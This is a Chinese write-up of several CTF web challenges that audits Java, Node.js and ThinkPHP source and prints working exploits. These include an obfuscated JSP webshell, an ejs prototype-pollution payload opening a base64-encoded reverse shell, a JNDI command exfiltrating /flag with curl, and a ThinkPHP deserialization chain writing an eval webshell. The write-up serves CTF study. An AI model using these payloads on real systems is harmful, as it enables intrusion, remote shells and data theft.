Contents
GKCTF2021 babtcat
这道题发现register
接口被Not allowed
这里直接抓包注册发现存在任意文件下载,结合目录穿越先把源码得到,进行审计
这里需要注意的是存在upload
路由并且该路由仅针对admin用户开放:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.web.servlet;
import com.web.dao.Person;
import com.web.util.tools;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
@MultipartConfig
public class uploadServlet extends HttpServlet {
public uploadServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String admin = "admin";
Person user = (Person)req.getSession().getAttribute("user");
System.out.println(user.getRole());
if (!admin.equals(user.getRole())) {
req.setAttribute("error", "<script>alert('admin only');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
} else {
List<String> fileNames = new ArrayList();
tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
req.setAttribute("files", fileNames);
System.out.println(fileNames);
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (!ServletFileUpload.isMultipartContent(req)) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
}
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(3145728);
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setFileSizeMax(41943040L);
upload.setSizeMax(52428800L);
String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";
try {
List<FileItem> formItems = upload.parseRequest(req);
if (formItems != null && formItems.size() > 0) {
Iterator var7 = formItems.iterator();
label34:
while(true) {
FileItem item;
do {
if (!var7.hasNext()) {
break label34;
}
item = (FileItem)var7.next();
} while(item.isFormField());
String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
}
}
} catch (Exception var14) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
}
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
private static boolean checkExt(String ext) {
boolean flag = false;
String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
flag = true;
}
return flag;
}
private static boolean checkContent(InputStream item) throws IOException {
boolean flag = false;
InputStreamReader input = new InputStreamReader(item);
BufferedReader bf = new BufferedReader(input);
String line = null;
StringBuilder sb = new StringBuilder();
while((line = bf.readLine()) != null) {
sb.append(line);
}
String content = sb.toString();
String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
for(int i = 0; i < blackList.length; ++i) {
if (content.contains(blackList[i])) {
flag = true;
}
}
return flag;
}
}
这里可以看到当以admin
用户登录后可以调用upload的功能,但是也经过了一定的限制,这里贴一下关键的上传逻辑:
String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
得到上传文件的后缀以及,并且该后缀以及上传文件的内容还需要依次经过checkExt
和checkContent
方法的检验:
private static boolean checkExt(String ext) {
boolean flag = false;
String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
flag = true;
}
return flag;
}
private static boolean checkContent(InputStream item) throws IOException {
boolean flag = false;
InputStreamReader input = new InputStreamReader(item);
BufferedReader bf = new BufferedReader(input);
String line = null;
StringBuilder sb = new StringBuilder();
while((line = bf.readLine()) != null) {
sb.append(line);
}
String content = sb.toString();
String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
for(int i = 0; i < blackList.length; ++i) {
if (content.contains(blackList[i])) {
flag = true;
}
}
return flag;
}
可以看到这个地方对上传文件的限制是非常严格的,想要绕过的难度很大,但是注意到:

在这个if判断中将响应进行设置后并没有执行
return
操作,这意味着代码会继续执行下去,从而将文件进行上传,因此其实那两个检测方法是fake,并没有起到真正过滤的作用,因此可以构造任意文件进行上传
并且在此处其实上传路径也是可控的,我们注意到:
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
String filePath = uploadPath + File.separator + name + ext;
此处存在路径穿越,当我们上传的文件例如为../../../../../../../etc/test.jsp
则ext=jsp
且name=../../../../../../../etc/test.
最后会上传到/etc目录下,因此其实上传路径是我们可控的,因此我们需要选择一个能够成功解析jsp的目录上传jsp马即可
如何以admin
身份进行绕过呢?我们可以注意到:

这里使用正则进行简单匹配,而在json中存在后面参数会覆盖前面相同参数的特性,因此我们可以构造如下payload:
data={"username":"crispr","password":"123","role":"guest","role"/**/:"admin"}
利用注释符来绕过正则匹配或者这样构造:
data={"username":"crispr1","password":"123","role":"admin"/*,"role":"guest"*/}
成功以admin身份登录后我们上传一个jsp webshell,这里可以上传到static目录下,因为该目录可以访问并且解析jsp

连接执行/readflag得到flag

并且此题在upload的dopost中并没有鉴权,其实以guest用户登录后也能同样通过post访问该接口实现文件上传
GKCTF2021 babtcat-revenge
出题人意识到上述问题后设置了revenge,看下修改后的代码(贴出关键对比代码):
String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (!checkExt(ext) && !checkContent(item.getInputStream())) {
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
}else {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
这里只有通过checkExt
和checkContent
方法才能进行文件的上传,但是在之前也说明过,此处想要绕过ext和文件内容进行getshell是比较困难的,在baseDao.class
中看到了XMLDecoder
:

该方法会在
getConnection
中被调用,而getConnection
方法会在注册和登录时被调用
因此此处存在XML反序列化,而
XMLdecoder
的内容是/db/db.xml
,需要通过上传接口来讲db.xml文件进行覆盖,提示说PrintWriter,网上找到一个payload(使用变形jsp马绕过):
<java version="1.8.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>/usr/local/tomcat/webapps/ROOT/static/crispr.jsp</string><void method="println"><string><![CDATA[`<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>`]]></string></void><void method="close"/></object></java>
通过/proc/self/environ
得到当前根目录,将该文件上传到/db/db.xml
中:

最后重新登录触发
getConnection
方法后访问cmd马即可:
[GKCTF 2021]easynode
nodejs题,给出了源码,先对源码进行审计,可以看到首先需要登录后台:
let safeQuery = async (username,password)=>{
const waf = (str)=>{
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
但是在此处的过滤虽然说不严格,但是把能够通过恒等式从而绕过登录的符号都过滤了,在这个地方并不好实现注入,这个地方卡了比较久的时间,其实在这里是利用了js的灵活性,我们知道js的类型转换是非常弱的,可以试想如果在safeStr()
方法的参数中是一个数组,因为该方法原本设想参数是字符串并且对字符串进行逐字节匹配,然后替换为*
号,如果为数组后,则数组第一个元素为字符串,字符串==*
当然不成立,因此可以成功绕过,但是注意:
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
在这里只有字符类型才能使用substr
函数,而数组并没有该函数可以使用,因此如果仅以数组绕过则会报错

但是我们注意到:
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
//console.log(str.length);
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
在该函数中最后会有和字符*
号拼接后返回,而在javascript中会有隐式的类型转换,当发生拼接后会自动转换为字符串类型从而能够调用substr
,因此if
的条件必须要满足,也就是在数组中有被过滤的元素存在,最好该元素在比较靠后的位置,这样i
也会比较大不会影响第一个元素,当我们如下构造:

此时SQL查询变成:
select * from test where username='admin'#xxxx
这是一个真句子因此登录成功得到token

后续是一个原型链污染的考点,继续审计代码发现存在adminDIV
路由,这里贴下该路由的源码:
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));
board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
就是在DIV模块下回读取⽤户的⽤户名,之后将DIV的键名和值直接导⼊进去,这里使用extend
进行合并,其实也是类似merge方法,并且使用了JSON。parse进行解析,这样能够使得”proto“这样的字段不会直接被解析成原型,因此此处存在原型链污染,考虑到这里引入了ejs库:

访问
/admin
路由时进行渲染,可以利用ejs的原型链污染进行getshell:原理可以参考:ejs原型链污染
注意在这里反弹shell使用base64加密,在url中需要将base中的
+
号变成%2b
构造exp:
data=%7B%22outputFunctionName%22%3A%22x%3Bprocess.mainModule.require('child_process').exec('echo%20cGVybCAtZSAndXNlIFNvY2tldDskaT0iNDcuOTUuMjE5Ljk2IjskcD0zMzMzO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI%2bJlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc=%7Cbase64%20-d%7Cbash')%3Bx%22%7D
==>
data={"outputFunctionName":"x;process.mainModule.require('child_process').exec('echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iNDcuOTUuMjE5Ljk2IjskcD0zMzMzO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc=|base64 -d|bash');x"}

此时原型链已经被污染,当访问
admin
路由后调用ejs渲染时会:
拼接完成后输出从而getshell

[红明谷CTF 2021]JavaWeb
发现是一个Spring的项目,并且有login路由,这里抓包改POST发过去发现是shiro的框架,shiro AES密钥一顿爆破,无果,应该考察的不是这个点,提示有/json
路由,因为是shiro的框架可以使用/;/
来进行绕过,因为/json
需要登录之后才能访问,不过发现存在弱口令admin admin888
登录后拿到sessionid进行访问也可

此处使用的jackson进行json的转换,考虑jackson反序列化:
http://b1ue.cn/archives/189.html
这是一个由logback引起的jndi注入,可影响到 2.9.9.1

发现vps成功监听,接下来就是一个比较简单的JNDI注入,可以使用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -d @/flag http://xx.xx.xx.xx:3333/" -A xx.xx.xx.xx
注意这里最好用JDK 1.8来运行,不然有可能收不到数据,运行完之后监听3333端口,这里使用curl -d
来外带根目录下的flag:

[红明谷CTF 2021]EasyTP
一个ThinkPHP的框架,www.zip
下载完源码后发现是3.2.3
的链子,已经有文章分析过3.2.3的反序列化链,并且这里存在反序列化:

链子此处就不分析了,最终效果是进行任意数据库连接,此时可以有两种思路,第一种是开启堆叠配置后利用堆叠注入来进行写shell到/var/www/html
从而getshell 此处的mysql为root root
弱口令,因此构造如下exp:
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //把堆叠开了
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '<?php eval(\$_POST[1]);?>' into outfile '/var/www/html/crispr.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

发现将flag写入到数据库中因此连接数据库得到flag:

还有一种思路是利用rogue-mysql-server连接到vps上的恶意server
项目在这:https://github.com/allyshka/Rogue-MySql-Server
其原理简单叙述下,主要是恶意模拟MySQL服务端的身份认证过程,等待客户端的 SQL 查询,然后响应时返回一个LOAD DATA
请求,客户端即根据响应内容上传了本机的文件
借用lightless
师傅的描述,正常的请求流程为
客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
服务端:OK,读取你本地 data.csv 文件并发给我!
客户端:这是文件内容:balabala!
而恶意的流程为
客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
服务端:OK,读取你本地的 /etc/passwd 文件并发给我!
客户端:这是文件内容:balabala(/etc/passwd 文件的内容)!
所以,只需要客户端在连接服务端后发送一个查询请求,即可读取到客户端的本地文件,而常见的 MySQL 客户端都会在建立连接后发送一个请求用来判断服务端的版本或其他信息,这就使得漏洞几乎可以影响所有的 MySQL 客户端。
这里使用php版本的rogue-mysql,并且将exp中的配置修改成vps的地址,反序列化触发执行

可以读取flag.sh
:
